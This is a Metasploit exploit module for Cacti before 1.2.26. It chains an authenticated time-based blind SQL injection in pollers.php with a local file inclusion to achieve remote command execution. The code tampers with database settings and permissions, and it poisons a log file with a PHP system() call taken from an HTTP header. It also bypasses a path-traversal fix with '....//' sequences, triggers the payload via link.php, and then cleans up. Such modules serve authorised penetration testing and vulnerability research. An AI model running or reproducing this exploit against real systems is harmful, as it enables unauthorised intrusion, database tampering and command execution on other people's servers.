##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::SQLi
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  class CactiError < StandardError; end
  class CactiNotFoundError < CactiError; end
  class CactiVersionNotFoundError < CactiError; end
  class CactiNoAccessError < CactiError; end
  class CactiCsrfNotFoundError < CactiError; end
  class CactiLoginError < CactiError; end

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cacti RCE via SQLi in pollers.php',
        'Description' => %q{
          This exploit module leverages a SQLi (CVE-2023-49085) and a LFI
          (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to
          achieve RCE. Authentication is needed and the account must have access
          to the vulnerable PHP script (`pollers.php`). This is granted by
          setting the `Sites/Devices/Data` permission in the `General
          Administration` section.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Aleksey Solovev', # Initial research and discovery
          'Christophe De La Fuente' # Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-vr3c-38wh-g855'], # SQLi
          [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-pfh9-gwm6-86vp'], # LFI (RCE)
          [ 'CVE', '2023-49085'], # SQLi
          [ 'CVE', '2023-49084'] # LFI (RCE)
        ],
        'Platform' => ['unix linux win'],
        'Privileged' => false,
        'Arch' => ARCH_CMD,
        'Targets' => [
          [
            'Linux Command',
            {
              'Arch' => ARCH_CMD,
              'Platform' => [ 'unix', 'linux' ]
            }
          ],
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'win'
            }
          ]
        ],
        'DefaultOptions' => {
          'SqliDelay' => 3
        },
        'DisclosureDate' => '2023-12-20',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),
        OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti'])
      ]
    )
  end

  def sqli
    @sqli ||= create_sqli(dbms: SQLi::MySQLi::TimeBasedBlind) do |sqli_payload|
      sqli_final_payload = '"'
      sqli_final_payload << ';select ' unless sqli_payload.start_with?(';') || sqli_payload.start_with?(' and')
      sqli_final_payload << "#{sqli_payload};select * from poller where 1=1 and '%'=\""
      send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'pollers.php'),
        'method' => 'POST',
        'keep_cookies' => true,
        'vars_post' => {
          '__csrf_magic' => @csrf_token,
          'name' => 'Main Poller',
          'hostname' => 'localhost',
          'timezone' => '',
          'notes' => '',
          'processes' => '1',
          'threads' => '1',
          'id' => '2',
          'save_component_poller' => '1',
          'action' => 'save',
          'dbhost' => sqli_final_payload
        },
        'vars_get' => {
          'header' => 'false'
        }
      )
    end
  end

  def get_version(html)
    # This will return an empty string if there is no match
    version_str = html.xpath('//div[@class="versionInfo"]').text
    unless version_str.include?('The Cacti Group')
      raise CactiNotFoundError, 'The web server is not running Cacti'
    end
    unless version_str.match(/Version (?<version>\d{1,2}\.\d{1,2}.\d{1,2})/)
      raise CactiVersionNotFoundError, 'Could not detect the version'
    end

    Regexp.last_match[:version]
  end

  def get_csrf_token(html)
    html.xpath('//form/input[@name="__csrf_magic"]/@value').text
  end

  def do_login
    if @csrf_token.blank? || @cacti_version.blank?
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'method' => 'GET',
        'keep_cookies' => true
      )
      if res.nil?
        raise CactiNoAccessError, 'Could not access `index.php` - no response'
      end

      html = res.get_html_document
      if @csrf_token.blank?
        print_status('Getting the CSRF token to login')
        @csrf_token = get_csrf_token(html)
        if @csrf_token.empty?
          # raise an error since without the CSRF token, we cannot login
          raise CactiCsrfNotFoundError, 'Cannot get the CSRF token'
        else
          vprint_good("CSRF token: #{@csrf_token}")
        end
      end

      if @cacti_version.blank?
        print_status('Getting the version')
        begin
          @cacti_version = get_version(html)
          vprint_good("Version: #{@cacti_version}")
        rescue CactiError => e
          # We can still log in without the version
          print_bad("Could not get the version, the exploit might fail: #{e}")
        end
      end
    end

    print_status("Attempting login with user `#{datastore['USERNAME']}` and password `#{datastore['PASSWORD']}`")
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        '__csrf_magic' => @csrf_token,
        'action' => 'login',
        'login_username' => datastore['USERNAME'],
        'login_password' => datastore['PASSWORD']
      }
    )
    raise CactiNoAccessError, 'Could not login - no response' if res.nil?
    raise CactiLoginError, "Login failure - unexpected HTTP response code: #{res.code}" unless res.code == 302

    print_good('Logged in')
  end

  def check
    # Step 1 - Check if the target is Cacti and get the version
    print_status('Checking Cacti version')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET',
      'keep_cookies' => true
    )
    return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?

    html = res.get_html_document
    begin
      @cacti_version = get_version(html)
      version_msg = "The web server is running Cacti version #{@cacti_version}"
    rescue CactiNotFoundError => e
      return CheckCode::Safe(e.message)
    rescue CactiVersionNotFoundError => e
      return CheckCode::Unknown(e.message)
    end

    if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.26')
      print_good(version_msg)
    else
      return CheckCode::Safe(version_msg)
    end

    # Step 2 - Login
    @csrf_token = get_csrf_token(html)
    return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?

    begin
      do_login
    rescue CactiError => e
      return CheckCode::Unknown("Login failed: #{e}")
    end

    @logged_in = true

    # Step 3 - Check if the user has enough permissions to reach `pollers.php`
    print_status('Checking permissions to access `pollers.php`')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'pollers.php'),
      'method' => 'GET',
      'keep_cookies' => true,
      'headers' => {
        'X-Requested-With' => 'XMLHttpRequest'
      }
    )
    return CheckCode::Unknown('Could not access `pollers.php` - no response') if res.nil?
    return CheckCode::Safe('Could not access `pollers.php` - insufficient permissions') if res.code == 401
    return CheckCode::Unknown("Could not access `pollers.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200

    # Step 4 - Check if it is vulnerable to SQLi
    print_status('Attempting SQLi to check if the target is vulnerable')
    return CheckCode::Safe('Blind SQL injection test failed') unless sqli.test_vulnerable

    CheckCode::Vulnerable
  end

  def get_ext_link_id
    # Get an unused External Link ID with a time-based SQLi
    @ext_link_id = rand(1000..9999)
    loop do
      _res, elapsed_time = Rex::Stopwatch.elapsed_time do
        sqli.raw_run_sql("if(id,sleep(#{datastore['SqliDelay']}),null) from external_links where id=#{@ext_link_id}")
      end
      break if elapsed_time < datastore['SqliDelay']

      @ext_link_id = rand(1000..9999)
    end
    vprint_good("Got external link ID #{@ext_link_id}")
  end

  def exploit
    # `#do_login` will take care of populating `@csrf_token` and `@cacti_version`
    unless @logged_in
      begin
        do_login
      rescue CactiError => e
        fail_with(Failure::NoAccess, "Login failure: #{e}")
      end
    end

    @log_file_path = "log/cacti#{rand(1..999)}.log"
    print_status("Backing up the current log file path and adding a new path (#{@log_file_path}) to the `settings` table")
    @log_setting_name_bak = '_path_cactilog'
    sqli.raw_run_sql(";update settings set name='#{@log_setting_name_bak}' where name='path_cactilog'")
    @do_settings_cleanup = true
    sqli.raw_run_sql(";insert into settings (name,value) values ('path_cactilog','#{@log_file_path}')")
    register_file_for_cleanup(@log_file_path)

    print_status("Inserting the log file path `#{@log_file_path}` to the external links table")
    log_file_path_lfi = "../../#{@log_file_path}"
    # Some specific path tarversal needs to be prepended to bypass the v1.2.25 fix in `link.php` (line 79):
    #   $file = $config['base_path'] . "/include/content/" . str_replace('../', '', $page['contentfile']);
    log_file_path_lfi = "....//....//#{@log_file_path}" if @cacti_version && Rex::Version.new(@cacti_version) == Rex::Version.new('1.2.25')
    get_ext_link_id
    sqli.raw_run_sql(";insert into external_links (id,sortorder,enabled,contentfile,title,style) values (#{@ext_link_id},2,'on','#{log_file_path_lfi}','Log-#{rand_text_numeric(3..5)}','CONSOLE')")
    @do_ext_link_cleanup = true

    print_status('Getting the user ID and setting permissions (it might take a few minutes)')
    user_id = sqli.run_sql("select id from user_auth where username='#{datastore['USERNAME']}'")
    fail_with(Failure::NotFound, 'User ID not found') unless user_id =~ (/\A\d+\Z/)
    sqli.raw_run_sql(";insert into user_auth_realm (realm_id,user_id) values (#{10000 + @ext_link_id},#{user_id})")
    @do_perms_cleanup = true

    print_status('Logging in again to apply new settings and permissions')
    # Keep a copy of the cookie_jar and the CSRF token to be used later by the cleanup routine and remove all cookies to login again.
    # This is required since this new session will block after triggering the payload and we won't be able to reuse it to cleanup.
    cookie_jar_bak = cookie_jar.clone
    cookie_jar.clear
    csrf_token_bak = @csrf_token
    # Setting `@csrf_token` to nil will force `#do_login` to get a fresh CSRF token
    @csrf_token = nil
    begin
      do_login
    rescue CactiError => e
      fail_with(Failure::NoAccess, "Login failure: #{e}")
    end

    print_status('Poisoning the log')
    header_name = rand_text_alpha(1).upcase
    sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\\'HTTP_#{header_name}\\']);?>',CHAR(126)),null)")

    print_status('Triggering the payload')
    # Expecting no response
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'link.php'),
      'method' => 'GET',
      'keep_cookies' => true,
      'headers' => {
        header_name => payload.encoded
      },
      'vars_get' => {
        'id' => @ext_link_id,
        'headercontent' => 'true'
      }
    }, 0)

    # Restore the cookie_jar and the CSRF token to run cleanup without being blocked
    cookie_jar.clear
    self.cookie_jar = cookie_jar_bak
    @csrf_token = csrf_token_bak
  end

  def cleanup
    super

    if @do_ext_link_cleanup
      print_status('Cleaning up external link using SQLi')
      sqli.raw_run_sql(";delete from external_links where id=#{@ext_link_id}")
    end

    if @do_perms_cleanup
      print_status('Cleaning up permissions using SQLi')
      sqli.raw_run_sql(";delete from user_auth_realm where realm_id=#{10000 + @ext_link_id}")
    end

    if @do_settings_cleanup
      print_status('Cleaning up the log path in `settings` table using SQLi')
      sqli.raw_run_sql(";delete from settings where name='path_cactilog' and value='#{@log_file_path}'")
      sqli.raw_run_sql(";update settings set name='path_cactilog' where name='#{@log_setting_name_bak}'")
    end
  end
end
